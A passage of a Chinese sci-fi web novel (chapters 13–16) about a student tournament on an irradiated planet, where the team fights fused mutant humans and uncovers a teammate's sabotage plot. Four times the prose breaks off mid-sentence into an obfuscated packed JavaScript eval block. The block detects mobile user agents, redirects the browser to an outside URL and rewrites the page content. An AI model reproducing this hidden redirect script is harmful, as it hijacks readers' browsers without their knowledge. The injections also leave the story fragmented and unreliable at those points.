他们是星云小队十支队伍中战斗最强的一支队伍，因此经常被外派至最危险的地方。因为组内缺乏决断者，所以他们几乎将所有有问题的情报传给段迟凛做决断。他们组基本上都是顾嘉死后被招收进来的新人，是皇室最趁手的刀，也是最忠心的一支编队。 安格尔不知道他的顶头上司想要表达什么。 “我觉得这里可能是个原来很重要，后来被他们抛弃的据点。”安格尔犹豫半晌，还是给出了自己的猜测。 “安格尔，换个思路想，”段迟凛看着星图，表情有些许凝重，“这里难道就不能是一开始就作为放弃的棋子而建立的跃迁点吗？” “为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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颜惜被狠狠甩出空间门的时候还刮来一阵狂风，把颜惜吹得在地上打了好几个滚才停下来。 颜惜吃了一嘴的土，还晕眩地很想吐。 以往进行跃迁，一般都是坐在飞行器或是舰舱里，这些大型载具一般都设有减轻旋转频率的装置，因此从这个空间门到另一个之间的旅途并没有那么难熬。 而这次格林联赛说是防止作弊，直接让他们穿上跃迁服直接进行跃迁，这对他们实地作战本专业的人当然不算什么，因为他们本就进行过相关的训练，但是颜惜快被这东西害掉了半条命。 她趴在地上，想要缓解一下那种眩晕之感。 没等她缓过来，就有人走到她身后，抓住她的上臂，将她整个拎了起来。 与此同时，星球上传来了没有一丝感情的电子机械女声播报，在漫天的尘风席卷里显得莫名有几分诡异：“欢迎来到本次格林联赛的第20号赛场——辐射赛区。” 13. 诡异生物 颜惜被硬拉着站起了身，转头一看是段迟凛那张令人讨厌的脸，旁边还站着他的同学顾闻远。 颜惜一口气上不来下不去。 被分配到一组的队员都会被强制送到星球的同一个区域，很显然他们就是这次一组的队友。 颜惜冷笑，机关算尽，还是和这群漩涡中心分到了一起。 一进到考场里，光脑上的其他信息都被屏蔽了，只有格林平台的考试模式是开启的，光脑上显示着他们都是第20考场的第50号小队，考试系统的地图上分别有着六个标注着彼此姓名的小红点。 颜惜看了眼考试开始前的注意事项，距离考试开始还有半小时，这半小时是提供给参赛学生熟悉小组其他成员的时间，同时调整好自己的考试状态，因此这半小时内不允许参赛人员随意走动，只能在小范围内活动。 颜惜再转头一看，季宴站在不远处，她身前和身后分别站着长发飘飘身材纤瘦的格鲁吉亚·金和戴着金丝眼镜看起来文质彬彬的戴勒·金。季宴看到颜惜望过来的目光，眼神不自然地躲闪了片刻。 格鲁吉亚晃了晃手中的光脑，朝他们走了过来。 “抱歉，”她说，“我和我的弟弟是被调剂到实地作战的，我们没有参加之前的预科赛，拉低了我们小组的均分。” 她的声音很好听，像是在唱歌一样，听起来让人有点头晕目眩。 段迟凛还半拎着颜惜，没把她放下来。颜惜甚至感觉到他把她往后拉了点。 格鲁吉亚笑了一下，又说道：“我们应该都是第20考场的第50号小队，我叫格鲁吉亚，大学学过一些前沿科技相关的内容，或许可以在接下来的联赛里发挥一点用处，不过我是调剂的，希望大家能多多担待。希望我们接下来能好好相处。” 说罢，她伸出手来。 段迟凛架住颜惜的动作一动不动，顾闻远也跟木头没什么区别，呆立在原地。 颜惜觉得他们太没礼貌了，怎么忍心拒绝貌美组员的示好。 于是她忍着跃迁后晕眩的恶心，努力伸出手和格鲁吉亚握了一下。 格鲁吉亚冲她笑笑，似乎是忽视了段迟凛和顾闻远的失礼，她招了招手，喊来了她的弟弟戴勒。 等到六个人都齐了，颜惜才发现联赛提供给他们的只有每人一个小小的营养剂瓶子以及一管急救注射药剂，其他的什么都没有，而那点营养剂估计只够撑上半天。 格鲁吉亚他们在分配物资，同时商讨等会儿怎么部署，而颜惜被段迟凛拉到一边科普赛场规则。 “辐射赛场和其他几个赛场不一样。”段迟凛考虑到颜惜是真萌新，估计连之前联赛规则也没好好看，更别说一些只有内部知道的消息，于是特意给她拎到一边，掰碎了讲解注意事项，“其他几个赛场要么是单一的极端天气，要么是主办方故意做成物资匮乏的赛场，辐射赛场是由于这颗星球以前过度开发，再加上多种有害物质的污染，发生了不可名状的相互反应，导致这颗星球上辐射强度远高于正常水平。” “然后呢？”颜惜给足了情绪价值，“辐射会有后续影响吗？” “辐射赛场选的是这片辐射星群里污染程度最轻的，最外围的，在考试过程中只要穿着正常衣服，回去以后做个消除就不会有后续影响。”段迟凛说，“但是这片星群里其他几颗污染严重的就不好说了，特别是主星，辐射量是致死的。” “按以往来说辐射赛场的赛程三天就会结束了，超过五天的就会被强制清场，然后根据表现分来排名，中间主办方除了食物以外不会提供其他物资。” “但是辐射赛场和其他赛场最大的不同是，赛场上最大的威胁不是对手，反而是各式各样的污染畸变生物。虽然人类已经搬离污染星很久了，但是其他生物还是在星球上继续繁衍，因为畸变，它们的攻击性和身体强度都高于原本的水平。” “还有，”段迟凛用眼神示意了一下格鲁吉亚那边，“等正式开始以后别离她太近。” 颜惜悟了，所以说，她就是新手误入高级场，一来就被分到了最难的赛场。不但环境恶劣，对手不知道藏在哪里，还有心怀鬼胎的队友和奇形怪状的随机刷新小怪物。 她无视了段迟凛警告的眼神，凑到了格鲁吉亚的旁边：“你们商量好安排了吗？” 格鲁吉亚朝颜惜笑笑，把颜惜的那份物资递给了她：“我们等会儿打算往北走。物资严重不足，而每个地块都只会投放相同数量的物资，但物资还是远远不够的，所以选择区域还是很重要的。” 她伸出手在光脑屏上的地图指了指：“东边是山丘地带，那边树林茂密，同时畸变生物也比较多，一般想要刷表现分的队伍会去那里斩杀畸变生物，他们综合实力比较强，考虑到我们小队里有三个调剂的人，而且短时间也很难磨合，我们先考虑放弃东部地区。” “南边是最大的污染湖，适合水性好的，我刚才问了问，除了段迟凛和顾闻远，其他几个都没有水下作战的经验。而且水边的污染会更严重，所以我们也不考虑。而我们所在的中部是最佳的位置，但所有联赛学生都会经过这里，我觉得以我们的实力来说是吃力不讨好。” “那剩下的可以去的地区就是在西部和北部？”颜惜问。 “是的，”格鲁吉亚答道，“顾闻远的意思是，西部比较平坦，比较适合我们行进，如果遇到强攻类的队伍，视野开阔，他们也比较好应对。” “北部是最高的山脉，由于海拔很高，污染程度轻了很多，而由于地势险峻，畸变生物生存空间也被大幅挤压，去那边的联赛考生也会少很多，方便我们躲藏到考试结束。” “你们意下如何？”她问道。 段迟凛没说话，但颜惜知道他是站在顾闻远那边的。近几年来军部和皇室走的很近，而颜惜知道他很讨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾闻远摘下自己的护目镜递给颜惜，但是颜惜摇了摇头，并没有接过来。 “不对劲。”走在前面的段迟凛突然停下了脚步。 “怎么了？”颜惜勉强睁开了眼睛。 远远的地方似乎有隐隐绰绰的人影，但是怎么看来怎么诡异。 前方那个模糊的、不辨人影的东西似乎比正常的人要矮一点，但是很诡异的是它们看起来好像四个挽着手的人在并排着快速地行进。 颜惜盯着它们看了一会儿，似乎又觉得它们并没有在动，仿佛刚才的快速移动都是假象。 颜惜并不畏惧那些畸形生物的丑陋样貌，但是她很害怕这种不可名状的、朦朦胧胧的没法下定义的东西，她的大脑会自动把它们加工成最可怕的样子，然后循环播放。 那东西越来越逼近了。颜惜背后的冷汗都要流下来了。 14. 各怀目的 那个不可名状的东西看似还很远，不过一瞬息就来到了面前。 颜惜终于看清了那是什么东西。 是四个双手都融合到了一起的人，他们已经看不出性别之分了，皮肤溃烂，甚至能看见里面的白灿灿的骨头，眼眶更是深陷，其中有一个人甚至半只眼球吊在外边——颜惜要崩溃了。 “这是什么？”颜惜忍住转头就走的冲动，转动手腕“噌”地拔出了剑。 “这里怎么会有畸变人类？”季宴在她身边喃喃道，“往年这里也做过赛场，这个星球的辐射，根本不会出现这种程度的畸变——畸变到这种程度，只有在辐射主星才会有。” “畸变人类？”颜惜抓到了重点，“当年这个星系发生大爆炸的时候不是已经提前发出预警，并且强制所有人类搬离了吗？怎么还会有人类留存？” “退后。”没有人回答颜惜的问题，只有顾闻远填充手枪和手炮的声音。 “轰”的一声，顾闻远的炮弹扫射出去，扬起灰蒙蒙的雪，和滚滚浓烟混在一起，能见度变得更差了。 这么近的距离，顾闻远使用的又是大口径的粒子炮，再怎么样的坚固物体都能被震的粉碎。 可是烟尘散去，颜惜看见那四个诡异的人依旧站在那里，只不过身上的腐肉似乎有些挂不住了，扑簌簌地往下掉。 “精神力。”格鲁吉亚突然说道，“他们用了精神力。” “已经畸变的人，怎么还会有精神力？”颜惜问道，“而且精神力没有附着点就无法发挥作用，他们手里什么都没有，怎么使用？” “他们将精神力附着在皮肤上。”进了赛程以后就很少说话的戴勒发话了。“闻所未闻。或许这也是畸变带来的变异。” “是吗？”颜惜顿了顿，“畸变能直接促进人类进化到这个地步吗？那或许很多人都想去接受一下辐射的普照了。” 段迟凛回头看了她一眼。 “那有什么解决办法么，”段迟凛看向金家姐弟，意有所指道，“听起来你们比较熟悉。” 他话没说完，那四个鬼影直接朝他们扑了过来。 段迟凛瞬时下蹲并侧身，躲得很快。而在他身后的戴勒一时间没反应过来，躲闪不及时，险些被畸变人的坚硬又锋利的指节划伤，还是格鲁吉亚狠狠拉了他一把，这才避开了他被伤到致命的部位。 刹那间，戴勒的左脸血流如注，伤痕深可见骨，不过瞬间，伤口的边缘都有些发黑，血液的颜色也由鲜红变成了不正常的灰败颜色。 季宴反应很快，直接从食指的戒指里拿出了她的匕首，几大步上前，一脚踹在最靠近格鲁吉亚的那个畸变人的胸口，连带着其他连在一起的人都往后退了几步，波及到了正在一旁的段迟凛。同时手起刀落，迅速地剜掉了戴勒脸上正在不断炭疽化的伤口附近的肉。 段迟凛看向被踹过来的畸变人，表情不太好。他拔出他那把陪伴了他十多年的厚重的刀，附着上精神力，砍向了他们互相连接彼此的手腕处。 畸变人发出一声来自喉咙深处的嘶吼，其中一个人手腕的连接处被砍了下来，与其他三个人分了开来。 哪怕颜惜在事发时就已经远远往后跳了几步，站在离他们很远的地方，她都能感受到这几个畸变人身上的精神力在一个人分开之后衰弱了许多。 “不要触碰他们的皮肤。”格鲁吉亚的表情也很不好看，“看起来他们全身上下的辐射加起来比这颗星球的还要多。直接用更强的精神力突破他们表皮的那层精神力屏障，破坏他们的大脑。这应该是最直观的方法了。” “先去把这几个人分开。”颜惜开口了，她对着离她最近的顾闻远说道，“这四个人的精神力本身并不强。不知道他们用了什么办法，他们在连接在一起的同时还将精神力叠加了。分开以后就可以按……” 颜惜顿了顿，朝格鲁吉亚的方向指了指，“之后就按她的方法来处理。” “那你怎么办？”顾闻远看了一眼她，联赛开始以后，他就一直站在颜惜的旁边，和季宴一起，方才畸变人扑过来的时候也没有往那边前去支援。 颜惜没再看他，只是随手用手里的轻剑挽了个剑花。 顾闻远明白了她的意思，走上前去。 那个已经被段迟凛分开的人，在和其他三人的联系切断后，行动的敏捷度大幅下降，在皮肤上的精神力屏障也维持不住，但是它已经没有了理智，只是一味向有人的地方冲过来。 段迟凛在它下一次冲过来的时候，闪身避开，而后反手把刀插进那个摇摇欲坠的畸变人的胸口，顺时针转了半圈，将那人的心口开出了一整个大洞。 那个畸变人似乎是失去了支撑的东西，轰地一声倒在了地上，下一秒，直接解体成了一堆散碎的骨骼和腐肉，恶臭的腐蚀味道散了好远。 颜惜捂住鼻子，转头看向季宴那边。 季宴和顾闻远两个人联手，竟然还被那三个畸变人压了一头。那三个人连在一起，敏捷度高的吓人，仿佛他们只是一个长了三双手脚的人，步调和动作都无比同频。 段迟凛回头看了一眼站在远处隔岸观火事不关己的颜惜和坐在地上紧急处理伤口的金家姐弟，转头回去帮顾闻远。 风雪越来越大了，眼前全是白茫茫的一片。颜惜的头发上落满了雪花。 能见度实在太差了。 段迟凛终于找到了畸变人的一个停顿空隙，两刀落下，直接斩开了剩下的三个人。季宴跟着迅速将匕首插进那三个畸变人的脑袋里，顾闻远接着用手枪枪托将他们的脑壳砸烂。 段迟凛从畸变人已经粉碎的身体上抽回刀，腐蚀的碎片甩了出来，不偏不倚恰好落到了金家姐弟的附近，差一点就落到了格鲁吉亚的手臂上。 “继续走。” *** 这次队形换了顾闻远走在最前边，季宴走在中间，同时扶着格鲁吉亚和脸上血肉模糊的戴勒。颜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376699|168381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惜和段迟凛走在最后，一群人谁也没说话，就这么一脚深一脚浅地沿着原定路线继续往前走。 这次倒是什么畸变生物也没遇到，似乎是大雪让它们都躲藏了起来。 段迟凛走在旁边，整个人散发出低气压。结了霜的滑溜地面，比前面的沼泽地还难走，颜惜倒是走的稳稳的。 颜惜抬起手看了眼光脑上的赛事界面。 过去了将近半天，辐射赛区的队伍数量已经从50支缩减到23支了。格林联赛赛事系统是对所有参赛学生实时播报的，数据显示其中有16支已被淘汰队伍是被其他队伍淘汰的，而另外淘汰的11支队伍则是在行进过程中出现了意外，或是被畸变生物袭击，或是无法忍受辐射环境，或是没做好准备被恶劣天气困住了，不得不申请淘汰。 格林联赛的团队赛规则是，只要队伍中其中一个人的生命指标大幅下降，超过了系统判定的危险值，那么整支队伍都会被强制请离场内。 所幸戴勒的伤口看起来严重，但实际上只是皮外伤，没有被格林联赛系统判定为危险状态。 十二小时过去了，第一批物资投放地点刷新。还在场内的所有人光脑上都弹出了物资所在的地点。 顾闻远点开地图，比对了一下路线，发现北部地区的物资投放地点就在原定路线上，于是六人继续往北部山脉上走去。海拔越来越高，空气也越来越稀薄，但是风雪的势头一点也不减，行进变得越来越困难，好几次戴勒都差点脚下打滑，摔下悬崖，紧要关头还是季宴和格鲁吉亚把他强行拉了回来。 段迟凛侧头看了眼颜惜，发现她居然很少见地没有抱怨，走在被雪水打湿的崎岖山间道上稳得如履平地。 颜惜一边走，一边还有闲心低头用考试系统里的聊天框给段迟凛私发消息。 颜：你知道刚才那个畸变人类哪来的？ 段迟凛感受到了手腕上光脑上传来的震动，看了颜惜一眼，复又低下头。 段：我怎么会知道，有话就直说。 颜：是吗？我看你刚才倒是一点也不惊慌，你刚才是故意让开身位让那个畸变人伤到戴勒的吧？你看起来也不像是第一次处理这种畸变人类。 段：我确实见过。我曾经去过这个辐射星系的主星，在那里见过类似的畸变人。那些人似乎之前是某些实验室里的临床志愿者，不知道为什么，大撤离的时候他们并没有离开，之后一直暴露在高辐射环境下，变异成了现在这副样子。 颜：好啊！主办方偷偷走后门？提前熟悉考场环境？ 段迟凛受够了她的插科打诨，放下光脑懒得理她了。 因此他没有看到颜惜给他发的最后一条消息。 颜：格林联赛会提前三个月封闭考场所在的星球，直到考试当天才会打开，你比我清楚。所以你有没有想过，为什么这颗辐射程度那么低的封闭星球上，会出现来自只有辐射星系主星那种高强度辐射环境下才会出现的畸变人？ 15. 对峙时刻 格林联赛开赛十二小时二十分钟。 颜惜和她的小队终于走到了物资投放点。他们是第一批来北部物资投放点的人，顾闻远几步上前，拆开了覆盖在厚厚的雪下的小型储存盒子，里面有六盒压缩食物，以及纱布、止血针剂等物资。 顾闻远将食物分给每个人，而后将医疗物资分出一半，递给了还在流血的戴勒。戴勒冲他点头致谢，将止血针剂注射完毕，又包扎好了伤口，好歹看着没那么吓人。 如今是团体赛开始第一个12小时，目前场上总共投放了25个这样的物资储存盒子，等比赛正式开始24小时的时候，场上物资盒子的投放数量就会缩减到15个。而等到第二天，投放的物资会缩到10个，第三天则是5个。 如今场上还未淘汰的剩下23支队伍，那些实力偏弱的队伍早早已被淘汰，剩下的队伍大多都是有着丰富经验的、水平更高的，随着时间的流逝，队伍淘汰的速度只会越来越慢。 颜惜将手拢在脸旁，试图用脸颊上的温度捂热被冻僵的手指，无果，于是她只好哆嗦着拆开了那个压缩营养罐头，没什么形象地直接往嘴里倒。 “接下来去哪里？”季宴问道，她休整完毕，站起身来，“一路以来除了那个不知道从哪里来的畸变人，也没遇到其他参赛人员，更别说畸变生物了。如果我们想要不和其他队伍起冲突，继续往北部山麓深入应该是最好的选择了。” 其他几个人都没说话，默许了她的建议。 沿路风雪越来越大了，地上的黑土里混着冰晶和碎石，几个人终于穿过了密林，在无比陡峭山脊线上艰难前行。 终于登上了这座山头，眼前的景象让所有人不由得一愣。 遍地的雪水混着血色，一路星星点点，蜿蜿蜒蜒地蔓延到了视野尽头。 颜惜顺着血迹的最起始位置，慢慢一路走到血迹的末尾。 末尾有一个碎掉的光脑，佩戴在一截断掉的手臂上。 颜惜弯下腰，捡起那个光脑。 光脑的屏幕已经碎得彻彻底底，但是依旧在触屏之后亮了起来，隔着碎掉的显示器，颜惜看清了最上面的一条消息。 “第28号小队，队员三号生命体征濒危，全体淘汰，立刻传送离开赛场。” 颜惜看向那截手臂的截断处，截断很平整，看起来像是被利器一刀切开，但是伤口处赫然是熟悉的炭疽化，那是过高的辐射灼烧血肉后的表现。 这支队伍也遇到了畸变人，但是很遗憾，他们被淘汰了。甚至这位重伤的三号选手惨遭断臂，以后估计只能使用仿生义肢。 “畸变人出现了不止一个。”颜惜退后了几步说道，“我们看见的那个身上当时没有别人的血迹，但是我们一路以来都没见到其他畸变人，也没有见到其他联赛成员。” “有一组人处理掉了剩下的畸变人。”颜惜低声说道。“但是又离开了。” 格鲁吉亚看了她一眼。 “我们继续往前面走走。”格鲁吉亚说道。 再往前走了大约一公里，就看见地上有着七八堆畸变人被彻底摧毁后的遗骸。 颜惜蹲下身，拎出自己的轻剑，用剑尖拨了拨那堆尸骸。上面遗留有火炮的痕迹，有被长□□穿的头骨，有被拳头打烂的肋骨，还有几节直接被鞭子抽断的胫骨。 颜惜认出了那些伤痕的制造者，前两者来自和她交过手的柯里尔和陆洋，后两者的主人是同样和她来自中央星大学的学弟和学妹，在预科赛中隐藏了实力的辛寰和维多利亚。 他们居然分到了一组。 “看起来，他们比我们更残忍一点。”颜惜单手撑着剑，直起腰来。 她向前看去，只见前方有着一堆被轰塌的石块，大致还能看出原先那是个山间的天然洞穴。只是如今已经碎得不成样子，洞口完全塌圮，一丝通过的可能性都没有了。 “还真是不留情面。人走了，连北部地区唯一的适合藏身的地方都不留。”段迟凛意有所指地说道，“真是可惜了，原先的计划，都不管用了。” “既然都到北部地区的最高处了，”顾闻远说，“格林联赛的物资投放会越来越趋向在所在地区的最险峻的地方，我预估下次的物资刷新地点就在这附近。那么我们就呆在这里直到联赛结束，我目测还是很安全的。” “不行。”格鲁吉亚低下头，突然打断了顾闻远的话。 顾闻远看向她的目光都不好了。 “到目前为止你和你弟弟都干了什么？除了拖后腿什么都没干。”顾闻远显然不是什么脾气好的人，听到这没头没脑的反对直接发火了，“指指点点倒是积极得很。别说什么你们是调剂过来的，我们是队友，没有义务像保镖照顾你，懂吗？” “戴勒伤口感染了。”格鲁吉亚站起身，“他发烧发的很严重！虽然止血了，但是我们这次的物资箱里没有抗生素。” “北部地区的气温太低了，而且下了那么大的雪，再加上海拔太高，氧气不足，血氧循环不畅，再在这里继续呆下去，戴勒只会更严重！如果他严重到被系统判定达到威胁生命体征的程度，那么我们所有人都会被强制传送出场。” “抱歉，我也不想这样的。”格鲁吉亚说。“但是场上目前唯一会投放带有抗生素的物资箱在南部地区，我希望……” 她说着说着哽咽了，眼泪顺着苍白的脸颊滚落到了厚重的雪里：“我恳请你们一起去南部地区，好吗？” 顾闻远说不出话来了。 颜惜看了看光脑，现在是开赛18小时，她又看向靠在格鲁吉亚肩头已经有些神智不清的戴勒。他脸色苍白，甚至透出一点青色来，以正常的伤口感染来说，这恶化的速度未免有些过快了。 颜惜伸出手，手背轻轻搭在戴勒的脑袋上——温度烫的吓人，颜惜怀疑他再这么烧下去都要烧坏脑子了。 “走吧，去南部地区。”颜惜说，“生命要紧。” 顾闻远背起戴勒，季宴扶起格鲁吉亚，往山下走去。幸好辐射赛场整体呈东西横向，北部地区走到南部地区所需时间很短，如果走直线路径，只需要不到两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376700|168381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小时就能抵达南部地区。 段迟凛跟着他们往前走，转头一看颜惜没跟上来，于是悄无声息地往回走了几步。 颜惜还蹲在那个洞窟前边，在格鲁吉亚和戴勒之前休息的区域翻找着什么，段迟凛莫名觉得她像只松鼠。 终于她从厚厚的积雪里扒拉出了一个小东西，她举高了拿在手里，眯起了眼正对着刺眼的阳光对光，然后又迅速地塞到了自己的背包里。 段迟凛视力很好，看清了她手里的东西。那是个已经被使用了的注射器——看型号不是市面上有的常用型号的急救注射针管。 他装作没看到一样，跟上了其他人。不一会儿颜惜也跟了上来，脸上笑嘻嘻的，没个正形。 “刚才的是什么？”由于落后了几步，两人和前面四人有一段距离，段迟凛确保其他人走到听不到他们间谈话的距离后，这才低声开口。 “什么是什么……”颜惜含混其词，“我听不懂。” “注射器。”段迟凛不留情面，“我猜，戴勒的突然伤口感染恶化，是注射了这东西吧？你特意溜回去拿注射器，是想干什么？” 颜惜沉默了一下。 “我在猜。”她声音飘忽不定，像是下一秒就要散在了风里。“我之前好像都猜错了。” 段迟凛看向她的眼睛，她的虹膜在雪山的映照下，看起来泛出浅浅的雾蓝色，像是翻滚的海浪，又像是隆冬早晨带着雾色的山。迷幻又深邃，就像他总是不明白她在说什么、她想要什么，也不明白支撑她一直走她认为正确的那条路的动力是什么。 “这是康特家的特效药。用于加速药效发挥，可以在大幅提高药物的吸收速度。”颜惜说，“但是格鲁吉亚在没有先用药的情况下给戴勒扎了这一针。这反而促进了戴勒的伤口感染。” “她还挺狠的。” “为什么她要让戴勒伤口感染？”段迟凛问。 “辐射星系的历史，你比我熟悉吧？”颜惜说，“二十年前辐射星系还是正常状态，突然其中一颗卫星上发生了一场大型爆炸，不知道为什么引起了连锁反应，导致这颗卫星和旁边的那颗自转星直接毁灭，散发出的巨大能量辐射到了整个星系，从此大迁移开始，一个月后辐射波及全星系，这个星系被正式更名为辐射星系，从此大面积封锁。” “而我们联赛的这颗星球就是最外围的卫星，这颗卫星去到主星的唯一空间门就是在北部山脉的唯一一个天然虫洞的基础上建立的。” “段迟凛，别演了。明知故问也不好玩。”颜惜转头盯着他，“你比我清楚金家姐弟想要逼你出局，甚至说想要你直接死掉吧？” “最简单的方法，就是直接在赛场上制造一个空间门事故，‘一不小心’把你传送到了早已被封锁的辐射主星上，或者是直接死于空间门事故。他们还能全身而退，洗脱所有的嫌疑，把问题归咎于空间门年久失修的赛场事故。” “段迟凛，”颜惜没用问句，用的是陈述句，“那个藏着空间门的山洞，是你让柯里尔和陆洋他们毁掉的。” 16. 船舱惊魂 “既然你非要问，那我们就来盘个彻底。”颜惜冷冷地看着他，“格鲁吉亚和戴勒一开始就冲着这里来的，可惜了，他们的目的地，唯一一座空间门被毁了，你说为什么格鲁吉亚要让戴勒伤口感染？除了这种办法，她还有什么理由要求所有人立刻换地方？” “顾闻远看见格鲁吉亚掉几滴眼泪就傻了，他是智障你也是？”颜惜说话毫不留情面。 “南部地区到底有什么？”颜惜问道。 *** 抵达南部区域的时候已是开赛21小时。 期间由于他们队伍集齐了弱病和残，哪怕一路根本没碰到人，也走的很艰难。 翻过了山，终于到了了南部地区。海拔终于降到了3000米以下，气温高了起来，沿路也出现了草甸。 颜惜已经远远看见了独属于南部地区的那片巨大的污染内湖。湖水发黑，连旁边雪山的倒影都不怎么能映照出来，哪怕是隔着很远都透露出不祥的气息。 “场上含抗生素的最近的物资点在前方三公里。”季宴仔细查看光脑上的物资点剩余情况后说道，“没被拿走，第一批次投放了25份物资，但那个时候场上只有23支队伍，现在只剩21支，前面那个估计是多出来的那几份之一。” “我们得赶快赶过去。”格鲁吉亚说，“每24小时会全体显示一次全场队伍位置，时间不多了。” 等颜惜一行人到了之后，才发现这个物资点设置在污染湖的岸边停泊的大船上。船体已经破破烂烂，桅杆在从湖心吹向湖岸的风里摇摇欲坠。船身上掉漆掉的厉害，整体看上去斑斑驳驳的，露出了里边锈得卷了边的铁皮。 顾闻远还背着戴勒，于是季宴率先跳到船上，她握着匕首巡视一圈，确认没有人之后，其余五个人才攀着船沿的绳梯下来。 船舱里边竟然出乎意料地保存完整，里面还有木头桌椅，航行室里的仪表盘看起来还有七成新。 颜惜试着摁了摁点燃燃料的启动键，那船舱底部发动机的地方还真的震动了一下，不过马达响了没到三秒就迅速地停止了。燃料箱早就被湖水腐蚀了，刚才那下估计是管道里剩余的燃料在发挥余热。 颜惜没能成功让船动起来还有点遗憾，她还想做些别的尝试，可惜其他五个人都用谴责的目光看着她，让她有几分不好意思，遂悻悻停手。 几个人分开对着光脑上的地图，在船舱的一层二层和甲板分别寻找物资箱，最后还是颜惜在船舱底层，在已经被腐蚀到只剩一层薄薄的铁皮的大洞附近找到了赛事方投放的物资箱。 她拿光脑扫开了物资上的防盗码，正要将里边的六砖饼干和抗生素药片拿出来，忽然感觉船身一震，而后听到上面传来一声枪响，接着是一阵急促的脚步声，隐隐约约还有人的痛呼声。 颜惜迅速地收好所有东西，压低脚步声，顺着声音往里走了几步。 当时分配的时候，顾闻远带着戴勒呆在一层；颜惜自告奋勇自荐去了底层船舱；而甲板因为裸露在外，危险系数较高，所以分配的是段迟凛；一层在上船的时候已经搜过了大半，于是分配给了格鲁吉亚；季宴则补缺，填了二层的空。 颜惜听着声音不像是上一层，于是没走来时的船舱楼梯，而是走到了船舱深处，找到了船员才能使用的直通到甲板的运货通道。 大船年所失修，锁都锈得不成样子。颜惜用剑柄敲开了锁住员工送货通道上的门上的小铜锁，猫腰钻进了送货通道的小门里。 送货通道本来应该有个小电梯，颜惜仰头望望，发现那电梯被吊在了最顶上，封住了去甲板的路。 旁边供给电梯工人维修时攀爬的脚踏上全是红棕色的锈迹。颜惜戴上手套，试着用上一点力度，没想到那脚踏直接被她拽断了。幸好她眼疾手快，迅速接住了那截断裂的脚踏，这才没发出动静。 就在这时，颜惜听到了上层什么东西坠地的闷响。 她没再犹豫，后退几步，助跑一跳，抬手抓住了电梯吊下来的电缆。送货的电梯井很小，颜惜脚踩在四壁的腐蚀脚踏上轻轻借力，手死死抓着电梯揽绳往上爬。 很快她就爬到了一层，她双脚蹬在电梯井的对面，把自己晃到了电梯口，而后用靴子的凹槽卡在取货的窗口。 她侧耳听了听外边，安静地吓人，根本没有任何声音，甚至连脚步声都没听见。 不应该。一层是他们小队分配到的人数最多的层数，足足有三人。顾闻远再怎么讨厌格鲁吉亚和戴勒，也不至于和他们一句话都不说。 颜惜收回脚，继续往上爬。 第二层也是一片死寂。整艘船安静的像是半夜坟场，似乎只有颜惜一个人在活动。 颜惜索性爬到最顶上，直到脑袋顶到了被停在最高层甲板上的货梯底部。 她骨架小，指尖探到货梯和周围的缝隙之间，狠狠扣住，而后将整个人的体重挂在小小的运货电梯上，直到货梯发出了不堪重负的声响。 “哐”的一声，本就被风化过的货梯顶上的吊绳终于被扯断了，颜惜飞快地松手，整个人贴平扒在电梯井的通风凹槽处。货梯急坠了下去，经过她的身边，甚至触碰到了她的后背，而后直坠到了底部，发出巨大的声响。 反正都发出动静了，颜惜也摆了，她踩着脚踏，直接拿剑割开了电梯井的顶部，而后飞身跳到了甲板上。 她如今处在大船甲板的尾部，位于整片甲板的最高的位置。视野很好，一览无余。但她的视野里空无一人。湖风撩起了她的黑色长发，发尾的微卷蹭地她脖颈发痒，颜惜烦躁地把它们拢到另一侧。 甲板正中央凭空出现了一个被炮弹轰击的大洞。 但本该在这里的段迟凛不见了。 *** 目前的情况很不对劲。颜惜往楼梯那边走去，发现通往甲板的楼梯不知何时整条断裂了，她站在断裂的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376701|168381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼梯前盘了盘现在的情况。 她确信她上来的时候底层船舱只有她一个人。 